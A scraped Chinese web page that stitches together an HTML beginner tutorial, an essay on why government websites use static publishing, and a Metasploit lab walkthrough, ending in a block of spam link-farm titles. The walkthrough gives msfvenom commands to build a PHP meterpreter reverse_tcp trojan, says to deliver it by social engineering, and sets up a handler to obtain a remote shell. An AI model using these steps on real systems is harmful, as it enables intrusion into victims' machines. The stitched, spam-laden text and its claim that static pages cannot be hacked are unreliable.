整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          誰來教我滲透測試-黑客必須掌握的HTML基礎(一)

          伙伴們,好幾天不見了,這一周菜鳥小白工作很忙,所以沒有每天更新學習內容,但是菜鳥小白的學習是沒有停下來的,只是沒有時間來整理學習筆記了。現在就將菜鳥小白這兩天學習的HTML基礎和大家分享,其中還會拿一些標簽進行舉例,顯示效果。

          HTML概述

          HTML語言是一種標簽語言,它不需要編譯,可以直接由瀏覽器執行。在標準網頁設計中HTML負責填充網頁的內容,HTML編寫的超文本文檔(文件)稱之為HTML文檔(網頁),它包含了一些html元素,使用html或者htm為文件名后綴,能獨立于各種操作系統平臺,如Unix、Windows等

          HTML文檔結構

          標準的html文檔是由標簽和要顯示在網頁上的內容組成。HTML用于描述功能的符號成為“標簽”,如<html>、<body>、<table>等。HTML標簽規定HTML文檔的邏輯結構,并且控制文檔的顯示格式,然后由瀏覽器來負責解釋并顯示頁面。通過使用標簽可以區分文本文件的各個組成部分,對頁面上的文字、表格、圖片等多媒體數據所出現的位置、形式、順序及網頁間的超鏈接關系進行設定。

          HTML標簽

          標簽都是封裝在一對尖括號“<……>”之中。標簽只改變網頁的顯示方式,本身不會顯示在窗口中。HTML文檔中最先出現的標簽是<html>標簽。<html>標簽是文檔標識符,它是成對出現的,首標簽<html>和尾標簽</html>分別位于文檔的最前面和最后面,明確地表示文檔是以超文本標識語言(HTML)編寫的。該標簽不帶任何屬性

          <html>……</html>之間有如下標簽:

          頭部標簽<head>……</head>

          head是英文“頭”的意思。習慣上用戶把HTML文檔分為文檔頭和文檔主體兩部分。文檔主體部分就是在web瀏覽器窗口的用戶區內看到的內容,而文檔頭部分用來規定該文檔的標題(出現在web瀏覽器窗口的標題欄中)和文檔的一些屬性。<head>標簽對的作用就是控制文檔的頭部信息。中間可以使用<title>……</title>、<script>……</script>標簽對,在此標簽中間可以HTML文檔的標簽是可以嵌套的,即在一對標簽中可以嵌入另外一對子標簽,用來規定母標簽所含范圍的屬性或其中某一部分內容,嵌套在<head>……</head>標簽對中使用的主要有<title>標簽

          <html lang="zh-cn">
          <head>
          <meta content="text/html;charset=utf-8">
          菜鳥小白的學習分享
          </head>
          </html>
          

          保存為HTML文件后顯示如下:

          標題標簽<title>……</title>

          <title>標簽是成對出現的,用以規定HTML文檔的標題。在<title>……</title>之間的內容將顯示在web瀏覽器窗口的標題欄中。另外,<title>……</title>標簽對只能放在<head>……</head>標簽對之間,而且其內部不能包含其它標簽。

          <html lang="zh-cn">
          <head>
          <meta content="text/html;charset=utf-8">
          <title>菜鳥小白的學習分享</title>
          </head>
          </html>
          

          修改后顯示如下:

          主體標簽<body>……</body>

          <body>標簽也是成對出現的。在<body>……</body>之間的內容將顯示在web瀏覽器窗口的用戶區內,它是HTML文檔的主體部分。可以把HTML文檔的主體區域簡單地理解成標題以外的所有部分,該部分可以包含<table>、<font>、<img>、<div>等標簽。結束標簽</body>指明主體區域的結尾,在<body>中可以規定整個文檔的一些基本屬性:

          • “bgcolor”:指定html文檔的背景色
          • “text”:指定html文檔中文字的顏色
          • “link”:指定html文檔中待連接超鏈接對象的顏色
          • “alink”:指定html文檔中連接中超鏈接對象的顏色
          • “vlink”:指定html文檔中已連接超鏈接對象的顏色
          • “background”:指定html文檔的背景文件

          我們驗證了前兩個屬性

          <html lang="zh-cn">
          <head>
          <meta content="text/html;charset=utf-8">
          <title>菜鳥小白的學習分享</title>
          </head>
          
          <body bgcolor="11ffff" text="000000">
            測試內容
          ?
          </body>
          </html>
          

          顯示效果如下:


          特殊字符

          在html中有許多特殊字符需要處理,例如:“<”、">"這兩個符號本身是用來表示標簽的開始和結束的,是沒有辦法通過直接打出來的,必須輸入編碼表示法:“<”和“>”。

          通常情況下html會自動截取多余的空格。不管你加多少個空格,都被看做一個空格。如果要顯示多個空格,可以使用 表示空格

          我們看看實現代碼

          <html lang="zh-cn">
          <head>
          <meta content="text/html;charset=utf-8">
          <title>菜鳥小白的學習分享</title>
          </head>
          ?
          <body bgcolor="11ffff" text="000000">
            <測試內容>  空格在中間 看到了吧
          ?
          </body>
          </html>
          

          顯示效果:


          格式標簽

          在瀏覽器中控制文本對象的顯示,包括段落、換行、水平線等標簽,下面介紹幾個常用的html格式標簽。所有的格式標簽全部都是在嵌套在<body>……</body>標簽對之間的

          段落標簽<p>

          全稱paragraph。<p>……</p>標簽對用于創建一個段落,支持align屬性來設置對齊方式,語法如下:

          • <p align=“屬性”>段落內容</p>
          • align:設定水平對齊方式,常見設置:
          • 置左:align=“left”
          • 置中:align=“center”
          • 置右:align=“right”我們驗證一個居中的對齊方式吧
          <html lang="zh-cn">
          <head>
          <meta content="text/html;charset=utf-8">
          <title>菜鳥小白的學習分享</title>
          </head>
          ?
          <body bgcolor="11ffff" text="000000">
            <p align="center"><測試內容>  空格在中間 看到了吧</p>
          ?
          </body>
          </html>
          

          顯示效果:


          換行標簽

          在不另起一段的情況下將當前文本強制換行,<br>標簽屬于單獨出現的標簽,禁止出現結束標簽。

          <html lang="zh-cn">
          <head>
          <meta content="text/html;charset=utf-8">
          <title>菜鳥小白的學習分享</title>
          </head>
          ?
          <body bgcolor="11ffff" text="000000">
            <p align="center"><測試內容></br>  空格在中間 看到了吧</p>
          ?
          </body>
          </html>
          

          顯示效果:


          預格式化標簽<pre>

          可以完整保留設計者在源文件中所定義的格式,包含各種空格,縮進,以及其他特殊字符,全部都原封不動的展示在瀏覽器頁面上。

          <html lang="zh-cn">
          <head>
          <meta content="text/html;charset=utf-8">
          <title>菜鳥小白的學習分享</title>
          </head>
          ?
          <body bgcolor="11ffff" text="000000">
            <p align="center"><測試內容></br>  空格在中間 看到了吧</p>
          <pre>
          我是菜鳥小白
          你們的好朋友
          ?
            讓我們一起學習吧!!!
          </pre>
          ?
          </body>
          </html>
          

          顯示效果:


          列表標簽

          主要分為無序列表、排序列表、目錄列表、菜單列表和描述性列表五種類型

          • 無序列表<ul><li>……</li></ul>
          • 排序列表<ol><li>……</li></ol>
          • 目錄列表
          • 菜單列表
          • 描述性列表<dl><dt>列表頭<dd>列表內容?我們就驗證一個無序列表和一個描述性列表吧?無序列表:
          <html lang="zh-cn">
          <head>
          <meta content="text/html;charset=utf-8">
          <title>菜鳥小白的學習分享</title>
          </head>
          ?
          <body bgcolor="11ffff" text="000000">
          <ul>
          <li>我是菜鳥小白</li>
          <li>你們的好朋友</li>
          ?
          <li>  讓我們一起學習吧!!!</li>
          </ul>
          ?
          </body>
          </html>
          

          效果如下:


          ?描述性列表:
          
          <html lang="zh-cn">
          <head>
          <meta content="text/html;charset=utf-8">
          <title>菜鳥小白的學習分享</title>
          </head>
          ?
          <body bgcolor="11ffff" text="000000">
          <dl>
          <dt>菜鳥小白測試表頭</dt>
          <dd>我是菜鳥小白</dd>
          <dd>你們的好朋友</dd>
          <dd>  讓我們一起學習吧!!!</dd>
          <dt>菜鳥小白測試表頭2</dt>
          <dd>我是菜鳥小白</dd>
          <dd>你們的好朋友</dd>
          <dd>  讓我們一起學習吧!!!</dd>
          </dl>
          ?
          </body>
          </html>
          

          顯示效果如下:


          ?

          好了,今天的內容就到這了,我們明天繼續學習HTML基礎內容,不見不散~

          輯導語:我們可以發現很多政府網站基本都是選擇靜態發布的,這是因為靜態發布能夠更好的保證網站的速度以及安全性等等,政府網站這類對安全性要求較高的網站多會選擇靜態發布;本文作者分享了關于政府網站選擇靜態發布的原因,我們一起來了解一下。

          今年過了年接手了政府網站建設相關的產品工作,發現和以往產品最大的不同是,政府網站建設用的是靜態發布,以前做的移動產品都是動態的。那么政府網站為什么一般都選擇靜態發布呢?今天就來總結分析下。

          01 什么是靜態網站

          靜態與動態是相對來說的,靜態網頁就是我們常見的以.htm、.html、.shtml等后綴結尾的頁面。

          通常靜態網頁的制作流程是:

          第一步:發布信息到數據庫

          第二步:選擇頁面的模板

          第三步:程序讀取模板+數據庫信息=靜態頁面

          第四步:發布索引頁面(如首頁、引導頁等)

          靜態頁面的生成至少需要上述幾個步驟才能完成。

          靜態網站設計所采用的的技術原理是一對一的形式,也就是說在這樣的網站上面,一個內容對應的就是一個頁面,對應服務器上的一個文件;所以靜態網站可以簡單理解為純粹就是幾個制作好的頁面而已。

          網頁在設計好并上傳到服務器后,就不能對網站的內容進行修改了,除非把網站文件下載下來,用專業的網站制作軟件修改編輯好后再次上傳;所以在靜態頁面的制作中,模板是關鍵,因為一旦想要調整頁面,必須再次創建,而如果數據量大的話,那么這個更新時間將相當可怕。

          另外,靜態頁面不需要與數據庫通信,無論網站訪問者如何操作,都只是讓服務器把固有的數據傳送給請求者,沒有腳本計算和后臺數據庫讀取的過程。

          最后補充一下,URL相對動態網站來說也比較清晰,如,product.html。

          02 靜態網站的優勢

          1. 打開速度快

          因為靜態網站沒有其他程序和數據讀取,因此靜態網站打開速度相對比較快。

          2. 受搜索引擎歡迎

          動態網頁網址中動態參數太多,而且鏈接過長,而靜態網頁則相反,因此靜態網頁比動態網頁更受搜索引擎歡迎。

          再加上靜態頁面打開速度快、網站URL標準化程度高、網站簡潔、網站用戶體驗度好,使得靜態網頁更容易被搜索引擎所收錄。

          3. 安全性高

          因為靜態頁面都是純html格式的文件,所以不管黑客使用什么樣的手段都無法直接對網站進行攻擊,所以在網站安全性方面,靜態頁面是做的最好、最安全的一種方式。

          4. 具備跨服務器、跨平臺能力

          03 靜態網站的不足

          1. 維護操作繁瑣

          因為靜態頁面無法在調整后自動更新,不能直接對網站內容進行修改,所以如果要調整頁面,必須再次創建,維護操作十分繁瑣。

          2. 一旦內容增多,資源占用率極高

          雖然靜態頁面不需要對數據進行不斷讀取,但是在生產靜態頁面的時候,程序需要對服務器進行創建文件夾、創建html文件、刪除文件等操作,所以如果網站存在上萬篇文章,那么每生成一次靜態文件,就會對網站服務器帶來很大壓力,而且也無形地增加空間占用率。

          3. 靜態頁面功能單一

          靜態頁面由于受其特性影響,無法實現會員注冊、在線留言等功能,只能簡單地以信息展示為主。

          04 什么是動態網站

          動態網站是先從數據庫里面獲取數據,然后再按一個格式顯示出來,也就是說只需要一個顯示頁面內容的框架,就可以把成千上萬的網頁顯示出來了,所以動態網站對服務器空間要求很小。

          動態網站內容可以實時更新,而且與用戶交互性強,比如一些論壇、注冊、在線聊天頁面都是動態的。

          另外,動態網站由于每次加載一個新的頁面,都需要與后臺數據庫通信,所以加載速度會稍慢一些。

          在URL方面,動態網站URL可能會帶有參數。

          動態網站的開發語言主要有:ASP、JSP、PHP、ASP.NET,早期最普遍的是ASP開發的網站,現在主流網站開發語言是PHP、ASP.NET。這些程序都要使用數據庫才能完成動態操作。數據庫常用的有:ACCESS、MYSQL、MSSQL、ORACLE等。

          05 動態網站的優勢

          1. 對服務器壓力小

          由于動態頁面可以通過網站程序直接調用大量數據直接展示到網站前臺,因此動態頁面對網站服務器產生的壓力相對較小。

          但是由于動態頁面需要不斷的調用數據庫中的數據,所以對數據庫的要求還是比較大的,而且頻繁的調用讀取會增加數據庫的負擔,嚴重情況有可能會導致數據庫崩潰現象。

          2. 信息維護方便

          動態網站由于可以實時修改更新,因此維護方便,同時由于可以存儲大量數據,所以在需要時可以立即查詢。

          06 動態網站的不足

          1. 搜索引擎的信任度低

          搜索引擎的算法受網站安全性、網站打開速度、網站URL對用戶的體驗度等影響,使得搜索引擎對動態頁面賦予的權重值和信任度相對較低。

          2. 網站安全性較低

          由于動態頁面網站的URL參數和網站目錄結構都是很明顯的暴露在瀏覽器上面的,所以很多黑客可以通過修改網站的URL參數從而獲得網站的shell權限,進入后臺拿到管理員賬號密碼,對網站進行非法操作,因此動態網站的安全性較低。

          除此之外,因為動態網站會用到數據庫,所以對數據庫的安全和保密性要求較高,要專業技術人員提供維護才能保證網絡安全。

          07 什么是偽靜態

          偽靜態本身其實就是動態網頁,只不過是被轉換重寫成了靜態網頁,此時通過瀏覽器訪問的地址和真的靜態頁面沒有區別。

          當考慮搜索引擎優化SEO時,可以將動態頁面通過服務器處理成靜態頁面,比如論壇帖子頁面,都是經過偽靜態處理成靜態頁面。

          但是偽靜態不是真實地址,到底要顯示哪個頁面也就不能直接指定,而要由CPU來判斷,所以CPU占有量的上升是偽靜態最大的弊病。

          總之,為了SEO,網站可以選擇偽靜態,但是為了避免CPU超負荷,可以少量使用偽靜態,甚至可以只在專門提供給SEO的Archiver中使用偽靜態。

          08 動態發布&靜態發布怎么選

          • 如果需要較高互動性的網站,首選動態網站。
          • 如果網站頁面數量不多,只有幾十上百個頁面,而且也不需要經常更新,可以選擇靜態網站。
          • 對于大型企業來說,雖然產品頁面相對固定,但產品或其他頁面數量大,如果全部存儲為靜態頁面,對服務器空間要求有較高的存儲能力,這時就可以選動態網站。
          • 如果是政府網站這種對安全要求很高、很看重搜索引擎收錄,可以選擇靜態發布。

          當然,現在也有越來越多的網站采用動靜結合的方式,因此可根據具體需求及實際情況來選擇不同的技術方案。

          作者:王山而,喜歡讀書、喜歡研究用戶心理,坐標:北京。公眾號:小2在思考

          本文由@王山而 原創發布于人人都是產品經理,未經許可,禁止許可。

          題圖來自 unsplash,基于CCO協議

          、背景介紹

          Metasploit就是一個漏洞框架。它的全稱叫做The Metasploit Framework,簡稱叫做MSF。Metasploit作為全球最受歡迎的工具,不僅僅是因為它的方便性和強大性,更重要的是它的框架。它允許使用者開發自己的漏洞腳本,從而進行測試。Metasploit(msf)究竟威力如何呢?如何利用木馬控制受害者主機呢?接下來讓我們一起學習!


          二、資源裝備

          1.安裝好 Win7的虛擬機一臺

          2.整裝待發的小白一個。

          3.安裝好的Kali Linux虛擬機一臺。


          三、攻防實戰

          3.1 將受害者主機(Windows7)跟攻擊者主機(Kali Linux)的網絡模式全部設置為NAT模式,如下圖所示。

          步驟:打開虛擬機的設置/選擇網絡適配器/選擇NAT模式。



          3.2 查看實驗的兩臺主機的IP地址,如下圖所示。

          命令:ifconfig



          3.3 利用“msfvenom”木馬生成工具生成對應的木馬文件,如下圖所示。

          步驟1:msfvenom工具的參數介紹

          -p, –payload < payload> 指定需要使用的payload(攻擊荷載)。也可以使用自定義payload,幾乎是支持全平臺的

          -o, –out < path> 指定創建好的payload的存放位置。

          -h, –help 查看幫助選項。

          步驟2:利用msfvenom工具生成對應的木馬文件,如下圖所示。

          命令:msfvenom -p 指定需要使用的payload(攻擊荷載) lhost=攻擊者主機IP -f exe > 生成木馬文件的保存位置


          例子:msfVenom -p php/meterpreter/reverse_tcp lhost=192.168.78.168 lport=4444 -r raw > /root/hack.php



          步驟3:在已知的木馬文件保存路徑目錄下查找對應的木馬文件是否已經生成,如下圖所示,木馬文件已經存在(這里使用圖形化文件管理系統來查看,你也可以利用ls命令查看對應路徑下面是否已經生成對應的木馬文件)。



          3.4 利用一定的社會工程學方法將生成的木馬文件發送到目標受害者主機,并且在受害者主機進行運行(對應的社會工程學知識請持續關注本號,后續講解),如下圖所示。



          3.5 安裝“phpstudy集成環境”,如下圖所示。

          步驟1:打開“phpstudy”官網選擇與你電腦系統相對應的軟件版本下載。

          步驟2:安裝注意事項

          1. 安裝路徑不能包含“中文”或者“空格”,否則會報錯(例如錯誤提示:Can't change dir to 'G:\x65b0\x5efa\x6587\)

          2. 保證安裝路徑是純凈的,安裝路徑下不能有已安裝的V8版本,若重新安裝,請選擇其它路徑

          步驟3:phpstudy官方使用教程,需者自取。

          網址:https://www.php.cn/course/1066.html



          3.6 安裝好對應的軟件后,啟動phpstudy中的環境,如下圖所示。

          步驟1:點擊相應的環境旁邊的啟動按鈕啟動即可。



          步驟2:進入apache服務,如下圖所示。

          3.7 將對應的木馬文件上傳到apache服務的www目錄下,如下圖所示。



          3.8 啟動Metasploit(msf)滲透框架,如下圖所示。

          命令1:msfconsole



          命令2:use exploit/multi/handler



          命令3:set payload php/meterpreter/reverse_tcp



          命令4:show options



          命令5:set lhost 192.168.78.168



          命令6:run(啟動攻擊模塊)



          3.9 拿到目標主機服務器的shell,如下圖所示。

          命令:shell進入shell頁面。


          主站蜘蛛池模板: 国产福利电影一区二区三区,亚洲国模精品一区 | 久久高清一区二区三区| 久久99精品免费一区二区| 国产人妖视频一区二区破除| 无码国产精成人午夜视频一区二区 | 国内偷窥一区二区三区视频| 国产激情无码一区二区三区| 日本亚洲成高清一区二区三区| 免费无码毛片一区二区APP| 亚洲AV无码一区二区三区鸳鸯影院| 一区二区三区福利| 性色av一区二区三区夜夜嗨 | 成人精品一区二区三区校园激情 | 日本免费一区二区在线观看| 国产精品亚洲专区一区| 日本内射精品一区二区视频 | 一区二区三区精品| 亚洲无线码在线一区观看| 香蕉视频一区二区| 无遮挡免费一区二区三区| 国产主播一区二区三区在线观看 | 男插女高潮一区二区| 精品少妇人妻AV一区二区三区 | 日韩一区二区三区在线| 无码aⅴ精品一区二区三区| 暖暖免费高清日本一区二区三区| 国产精品亚洲午夜一区二区三区 | 久久亚洲中文字幕精品一区| 在线电影一区二区| 国产精品一区二区香蕉| 日韩有码一区二区| 久久国产香蕉一区精品| 国产精品一区二区三区99| 中文字幕VA一区二区三区| 国产午夜福利精品一区二区三区 | 亚洲熟妇av一区二区三区| 亚洲AV无码第一区二区三区| 色狠狠AV一区二区三区| 亚洲熟女综合色一区二区三区| 午夜视频一区二区三区| 精品一区二区三区在线观看|